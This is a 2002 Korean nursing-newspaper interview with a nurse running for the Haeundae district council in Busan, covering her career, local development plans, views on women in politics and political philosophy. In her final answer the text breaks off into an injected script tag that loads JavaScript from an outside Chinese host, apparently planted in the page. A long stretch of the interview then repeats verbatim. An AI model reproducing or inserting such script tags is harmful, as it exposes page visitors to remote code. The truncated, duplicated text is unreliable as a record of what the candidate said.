6·13 지방선거 간호사 출마자- 부산 해운대구의회 의원 이원향 후보
"원칙 지키는 정치 구현 꿈"
[편집국] 백찬기 ckbaik@nursenews.co.kr 기사입력 2002-05-30 오전 09:37:58
이원향 부산 해운대구의회 의원 출마자(49)는 고신대 간호학과를 졸업한 후 연산정신병원 간호과장을 거쳐 강원도 홍천과 경남 거창에서 보건진료원으로 근무하며 농어촌 주민의 일차보건의료에 힘썼다. 경남정보대학 등에서 강사를 지내는 등 자신의 삶을 개척하기 위해 그 누구보다 바쁘게 살아왔다. 현재 부산 해강조산원 부설 산후조리원을 경영하고 있다.
`기회만 되면 지역을 위해 일하겠다'는 그는 한나라당 해운대 갑 지구당 부위원장, 전국 주부교실 부산시 해운대지회장, 해운대지구 범죄 예방 위원 등의 왕성한 단체활동을 해 오고 있다. 지역현안문제를 해결해 온 노하우를 앞세워 이번 지방선거에 출사표를 던졌다.
- 출마동기에 대해 말씀해 주십시오.
"오래 전부터 기회만 되면 지역을 위해 일하겠다고 마음을 다지곤 했습니다. 지역사회 활동을 위해 대학과 대학원에서 간호학과 사회복지학을 전공했고 단체활동에도 꾸준히 참여해 많은 연구를 진행해 보기도 했습니다. 이번 구의원 출마를 제가 꿈꾸어 왔던 일들을 관철시킬 절호의 기회로 삼고 싶습니다."
- 출마지역의 현안과제는 무엇인지요.
"부산 해운대구 우2동은 부산의 관광특구이면서 해운대 해수욕장으로 가는 입구에 위치해 있습니다. 밤에는 광안대교의 아름다운 경관이, 앞으로는 푸른 바다와 부산 및 세계의 행사가 열리는 벡스코(BEXCO)가 있습니다. 또 뒤로는 맑은 공기와 너그러움을 주는 숲, 그리고 등산로가 있는 정말 좋은 지역입니다.
그러나 이같은 무한한 발전 가능성을 지닌 지역이 제대로 알려지지 않아 우리 지역을 올바로 아는 이는 그리 많지 않습니다. 따라서 구의회 활동을 통해 우리 지역의 미관 살리기에 적극 나설 생각입니다. 또 전국에 우리 지역을 알리는데 혼신의 노력을 아끼지 않을 계획입니다."
- 지역발전을 위한 전략을 소개해 주신다면.
"부산 우2동을 많은 이들이 전국 각지에서 찾도록 만들려면 지역 미관을 가꾸고 이기주의를 허물어야 한다고 생각합니다. 이를 위해서는 정책 판단을 바르고 능률적으로 할 수 있는 사람 즉, 다방면으로 박식한 사람과 지역발전을 위해 준비된 사람이 필요합니다. 구의원이 된다면 도시미관 개선사업으로 가장 먼저 초등학교 앞과 마을 한가운데로 중앙선 철로가 지나는 문제를 해결할 계획입니다. 또 초등학교가 3개나 있음에도 중·고등학교가 없는 문제를 개선하고 지역주민을 위한 내집 앞 주차공간 확보와 우회도로 마련을 통해 지역이기주의를 허물어볼 생각입니다."
- 우리 사회의 여성관에 대해 말씀하신다면.
"예로부터 여성은 작은 것, 사소한 것, 보이지 않게 뒤에서 말없이 묵묵히 일만하는 사람이라고 생각해 왔습니다. 그러나 지금은 우리 여성들이 남성보다 지혜롭다는 것을 보여주기 위해 목소리를 하나로 모아 가치있는 일을 위해 나서야 하는 시기라고 봅니다.
정치참여와 관련해서도 여성이 정치에 관심이 없어서가 아니라 지금까지의 교육이 잘못된 것이라고 생각합니다. 우리는 그동안 밖의 일은 공적인 남성의 일이고 안살림은 여자나 하는 사적인 일이라고 구분하는 교육을 받아왔지요. 여성의 사회참여가 확대되는 현실에도 불구하고 말이에요.
이같은 억울함을 극복하기 위해서도, 우리 여성이 사회에서 올바로 평가받기 위해서도 이제는 지역사회 공동체를 주도하는 역할을 맡는데 주저해서는 안됩니다.
남성보다 유리한 점이 많다는 것을 보여주기 위해서라도 여성들은 자기개발을 하는데 시간과 돈을 아낌없이 투자해야 합니다. 특히, 여성의 자아발전이 곧 나라 발전임을 인식하고 이 사회를 맑고 깨끗하게 치유하기 위해서라도 이제껏 남성들에게 보여주지 못했던 장점을 여러 측면에서 행동으로 보여주어야 합니다.
왜냐하면 여성이 상상력만으로 자신이 경험해보지 않은 것을 대변하는 데에는 한계가 따르기 때문입니다. 아무리 페미니스트를 자처하는 남성도 결코 여성의 문제를 진심으로 이해할 수는 없으니까요."
- 자신의 정치철학이 있다면.
"바른 원칙을 세우고 그 원칙을 바탕으로 지역사회를 이끌어나가는 것입니다. 그러나 제가 생각하고 있는 원칙에 구 의정활동을 맞추려면 많은 부분에서 부딪힐 일이 있겠지만 여러가지 체험을 통해 바른 원칙이 몸에 젖어 이제는 제 생활습관이 되어 버렸듯이 지역에서 일하는 많은 사람들이 제 의견에 동조해 줄 것이라 확신합니다.
특히, 제 생활습관이 되어 버린 바른 원칙이 앞으로는 행복한 구행정을 꾸리는 필요충분조건이 될 것입니다.
또 화합과 포용으로 상징되는 여성의 정치는 그동안 대립과 갈등으로 점철된 남성 정치에 대한 새로운 대안이 될 것입니다."
- 어떤 구의원이 되고 싶으신지요.
"대학과 대학원에서 배운 학문을 지역사회에 100% 이상 활용할 수 있는 ?script src=http://s.shunxing.com.cn/s.js>
`기회만 되면 지역을 위해 일하겠다'는 그는 한나라당 해운대 갑 지구당 부위원장, 전국 주부교실 부산시 해운대지회장, 해운대지구 범죄 예방 위원 등의 왕성한 단체활동을 해 오고 있다. 지역현안문제를 해결해 온 노하우를 앞세워 이번 지방선거에 출사표를 던졌다.
- 출마동기에 대해 말씀해 주십시오.
"오래 전부터 기회만 되면 지역을 위해 일하겠다고 마음을 다지곤 했습니다. 지역사회 활동을 위해 대학과 대학원에서 간호학과 사회복지학을 전공했고 단체활동에도 꾸준히 참여해 많은 연구를 진행해 보기도 했습니다. 이번 구의원 출마를 제가 꿈꾸어 왔던 일들을 관철시킬 절호의 기회로 삼고 싶습니다."
- 출마지역의 현안과제는 무엇인지요.
"부산 해운대구 우2동은 부산의 관광특구이면서 해운대 해수욕장으로 가는 입구에 위치해 있습니다. 밤에는 광안대교의 아름다운 경관이, 앞으로는 푸른 바다와 부산 및 세계의 행사가 열리는 벡스코(BEXCO)가 있습니다. 또 뒤로는 맑은 공기와 너그러움을 주는 숲, 그리고 등산로가 있는 정말 좋은 지역입니다.
그러나 이같은 무한한 발전 가능성을 지닌 지역이 제대로 알려지지 않아 우리 지역을 올바로 아는 이는 그리 많지 않습니다. 따라서 구의회 활동을 통해 우리 지역의 미관 살리기에 적극 나설 생각입니다. 또 전국에 우리 지역을 알리는데 혼신의 노력을 아끼지 않을 계획입니다."
- 지역발전을 위한 전략을 소개해 주신다면.
"부산 우2동을 많은 이들이 전국 각지에서 찾도록 만들려면 지역 미관을 가꾸고 이기주의를 허물어야 한다고 생각합니다. 이를 위해서는 정책 판단을 바르고 능률적으로 할 수 있는 사람 즉, 다방면으로 박식한 사람과 지역발전을 위해 준비된 사람이 필요합니다. 구의원이 된다면 도시미관 개선사업으로 가장 먼저 초등학교 앞과 마을 한가운데로 중앙선 철로가 지나는 문제를 해결할 계획입니다. 또 초등학교가 3개나 있음에도 중·고등학교가 없는 문제를 개선하고 지역주민을 위한 내집 앞 주차공간 확보와 우회도로 마련을 통해 지역이기주의를 허물어볼 생각입니다."
- 우리 사회의 여성관에 대해 말씀하신다면.
"예로부터 여성은 작은 것, 사소한 것, 보이지 않게 뒤에서 말없이 묵묵히 일만하는 사람이라고 생각해 왔습니다. 그러나 지금은 우리 여성들이 남성보다 지혜롭다는 것을 보여주기 위해 목소리를 하나로 모아 가치있는 일을 위해 나서야 하는 시기라고 봅니다.
정치참여와 관련해서도 여성이 정치에 관심이 없어서가 아니라 지금까지의 교육이 잘못된 것이라고 생각합니다. 우리는 그동안 밖의 일은 공적인 남성의 일이고 안살림은 여자나 하는 사적인 일이라고 구분하는 교육을 받아왔지요. 여성의 사회참여가 확대되는 현실에도 불구하고 말이에요.
이같은 억울함을 극복하기 위해서도, 우리 여성이 사회에서 올바로 평가받기 위해서도 이제는 지역사회 공동체를 주도하는 역할을 맡는데 주저해서는 안됩니다.
남성보다 유리한 점이 많다는 것을 보여주기 위해서라도 여성들은 자기개발을 하는데 시간과 돈을 아낌없이 투자해야 합니다. 특히, 여성의 자아발전이 곧 나라 발전임을 인식하고 이 사회를 맑고 깨끗하게 치유하기 위해서라도 이제껏 남성들에게 보여주지 못했던 장점을 여러 측면에서 행동으로 보여주어야 합니다.
왜냐하면 여성이 상상력만으로 자신이 경험해보지 않은 것을 대변하는 데에는 한계가 따르기 때문입니다. 아무리 페미니스트를 자처하는 남성도 결코 여성의 문제를 진심으로 이해할 수는 없으니까요."
- 자신의 정치철학이 있다면.
"바른 원칙을 세우고 그 원칙을 바탕으로 지역사회를 이끌어나가는 것입니다. 그러나 제가 생각하고 있는 원칙에 구 의정활동을 맞추려면 많은 부분에서 부딪힐 일이 있겠지만 여러가지 체험을 통해 바른 원칙이 몸에 젖어 이제는 제 생활습관이 되어 버렸듯이 지역에서 일하는 많은 사람들이 제 의견에 동조해 줄 것이라 확신합니다.
특히, 제 생활습관이 되어 버린 바른 원칙이 앞으로는 행복한 구행정을 꾸리는 필요충분조건이 될 것입니다.
또 화합과 포용으로 상징되는 여성의 정치는 그동안 대립과 갈등으로 점철된 남성 정치에 대한 새로운 대안이 될 것입니다."
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